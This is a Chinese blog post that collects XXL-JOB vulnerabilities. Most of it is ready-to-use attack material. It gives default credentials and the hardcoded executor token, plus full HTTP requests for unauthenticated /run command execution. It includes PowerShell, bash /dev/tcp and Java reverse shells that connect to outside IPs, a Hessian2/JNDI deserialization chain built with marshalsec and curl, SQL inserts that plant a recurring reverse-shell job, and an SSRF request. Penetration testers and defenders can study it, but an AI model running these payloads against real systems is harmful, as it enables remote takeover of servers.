Featured image of post XXL Job常见漏洞

XXL Job常见漏洞

XXLJOB常见漏洞

1
2
3
4
5
+------------------+        HTTP         +---------------------+
|   调度中心        | ------------------> |     执行器应用       |
| (xxl-job-admin)  |   调用 /run 接口    | (your Spring Boot app)|
| 端口8080       | <------------------ | 端口默认比如 9999      |
+------------------+    返回执行结果     +---------------------+

调度中心(admin):负责任务管理、触发、日志查看,不执行任务;

执行器(executor):是你自己开发的任务运行程序,必须实现 JobHandler 并暴露 /run 接口。

https://mp.weixin.qq.com/s/vUr4kLQ88coHxxLbb-ZwxA

常见指纹

1
2
3
4
app.name="XXL-JOB" 
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

1.默认口令

http://localhost:8080/xxl-job-admin/

1
admin:123456

2.XXL-JOB executor 未授权访问RCE漏洞

影响版本:XXL-JOB <= 2.4

利用前提:

  1. /run 接口无需身份认证即可访问(即未授权);
  2. 或者攻击者能绕过认证(如通过伪造 Cookie、默认凭证等);

默认token为default_token,硬编码在配置文件中

img

  1. 后端未对 glueSource 内容做安全校验,且 Glue 脚本(尤其是 GLUE_SHELL)可被执行。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /run HTTP/1.1
Host: 192.168.112.203:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 356

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//Windows下反弹shell
POST /run HTTP/1.1
Host: 192.168.112.203:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 856

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "$client = New-Object System.Net.Sockets.TCPClient('1.1.1.1',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

//Linux
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/115.190.248.147/6666 0>&1"

注意:这个是9999端口的run接口存在未授权才可能执行成功,为什么是9999端口,8080端口默认只是管理员管理界面,不执行任务,实际执行命令默认都是通过9999端口进行执行

高版本执行器应用指纹

img

3.XXL-JOB 任务调度中心 后台任意命令执行漏洞

功能点:任务管理

**tips:**记得确定目标操作系统是Windows还是Linux,Linux用Shell模式,Windows用powershell模式。

img

img

编辑要执行的命令

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//WIndows下反弹shell
$client = New-Object System.Net.Sockets.TCPClient('115.190.248.147',6666)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
//Java环境反弹shell
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
    class StreamConnector
    extends Thread
    {
        InputStream hx;
        OutputStream il;

        StreamConnector(InputStream hx, OutputStream il)
        {
            this.hx = hx;
            this.il = il;
        }

        public void run()
        {
            BufferedReader ar = null;
            BufferedWriter slm = null;
            try
                {
                    ar = new BufferedReader(new InputStreamReader(this.hx));
                    slm = new BufferedWriter(new OutputStreamWriter(this.il));
                    char[] buffer = new char[8192];
                    int length;
                    while ((length = ar.read(buffer, 0, buffer.length)) > 0)
                    {
                        slm.write(buffer, 0, length);
                        slm.flush();
                    }
                }
            catch (Exception localException) {}
            try
                {
                    if (ar != null) {
                        ar.close();
                    }
                    if (slm != null) {
                        slm.close();
                    }
                }
            catch (Exception localException1) {}
        }
    }
    public reverse()
    {
        reverseConn("1.1.1.1:6666");
    }

    public static void main(String[] args) 
    {
        System.out.println("0");
    }

    public void reverseConn(String ip)
    {
        String ipport = ip;
        try
            {
                String ShellPath;
                if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                    ShellPath = new String("/bin/sh");
                } else {
                    ShellPath = new String("cmd.exe");
                }
                Socket socket = new Socket(ipport.split(":")[0], 
                                           Integer.parseInt(ipport.split(":")[1]));
                Process process = Runtime.getRuntime().exec(ShellPath);
                new StreamConnector(process.getInputStream(), 
                                    socket.getOutputStream()).start();
                new StreamConnector(process.getErrorStream(), 
                                    socket.getOutputStream()).start();
                new StreamConnector(socket.getInputStream(), 
                                    process.getOutputStream()).start();
            }
        catch (Exception e)
            {
                e.printStackTrace();
            }
    }
}

img

4.XXL-JOB api未授权hessian2反序列化复现

影响版本:XXL-JOB<=2.0.2

4.1.利用JNDI注入打内存马

1
2
3
4
//VPS开启监听
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "x.x.x.x"

rmi://x.x.x.x:1099/mv3dcp

img

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/mv3dcp > test.ser
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://192.168.112.203:8080/xxl-job-admin/api -x http://127.0.0.1:8888

img

img

5.XXL-JOB 数据库RCE

XXL-JOB数据库中密码为md5加密

img

img

xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) 
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

img

执行后将trigger_status的值改为1后每5秒会执行一次命令

img

1
2
//通用反弹shell
INSERT INTO `xxl_job`.`xxl_job_info` (`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) VALUES (99, 1, 'Java RCE', '2026-01-07 15:10:03', '2026-01-07 15:10:39', '111', '', 'CRON', '* * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_GROOVY', 'package com.xxl.job.service.handler;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.net.Socket;\n\npublic class reverse {\n    class StreamConnector\n    extends Thread\n    {\n        InputStream hx;\n        OutputStream il;\n\n        StreamConnector(InputStream hx, OutputStream il)\n        {\n            this.hx = hx;\n            this.il = il;\n        }\n\n        public void run()\n        {\n            BufferedReader ar = null;\n            BufferedWriter slm = null;\n            try\n                {\n                    ar = new BufferedReader(new InputStreamReader(this.hx));\n                    slm = new BufferedWriter(new OutputStreamWriter(this.il));\n                    char[] buffer = new char[8192];\n                    int length;\n                    while ((length = ar.read(buffer, 0, buffer.length)) > 0)\n                    {\n                        slm.write(buffer, 0, length);\n                        slm.flush();\n                    }\n                }\n            catch (Exception localException) {}\n            try\n                {\n                    if (ar != null) {\n                        ar.close();\n                    }\n                    if (slm != null) {\n                        slm.close();\n                    }\n                }\n            catch (Exception localException1) {}\n        }\n    }\n    public reverse()\n    {\n        reverseConn(\"1.1.1.1:6666\");\n    }\n\n    public static void main(String[] args) \n    {\n        System.out.println(\"0\");\n    }\n\n    public void reverseConn(String ip)\n    {\n        String ipport = ip;\n        try\n            {\n                String ShellPath;\n                if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1) {\n                    ShellPath = new String(\"/bin/sh\");\n                } else {\n                    ShellPath = new String(\"cmd.exe\");\n                }\n                Socket socket = new Socket(ipport.split(\":\")[0], \n                                           Integer.parseInt(ipport.split(\":\")[1]));\n                Process process = Runtime.getRuntime().exec(ShellPath);\n                new StreamConnector(process.getInputStream(), \n                                    socket.getOutputStream()).start();\n                new StreamConnector(process.getErrorStream(), \n                                    socket.getOutputStream()).start();\n                new StreamConnector(socket.getInputStream(), \n                                    process.getOutputStream()).start();\n            }\n        catch (Exception e)\n            {\n                e.printStackTrace();\n            }\n    }\n}', 'Java RCE', '2026-01-07 15:10:39', '', 0, 0, 0);

6.XXL-JOB 后台SSRF漏洞

影响版本:XXL-JOB<2.4.0

功能点:调度日志-执行日志

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: 192.168.112.203:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 104
Origin: http://192.168.112.203:8080
Connection: close
Referer: http://192.168.112.203:8080/xxl-job-admin/joblog/logDetailPage?id=182
Cookie: username=admin; password=Go5pMfgyHKJ86E3+GIQ0tYqeFiwMFHoUM7bMknQRxz/5+E2E7RA4ZjNta1iNo5/ZfRfuMGr4cS4JSWJvrlcmXA==; rememberMe=true; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d

executorAddress=http%3A%2F%2F192.168.112.203%3A9999%2F&triggerTime=1767840286000&logId=182&fromLineNum=1

img

img

By Lsec
最后更新于 Jan 08, 2026 11:10 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ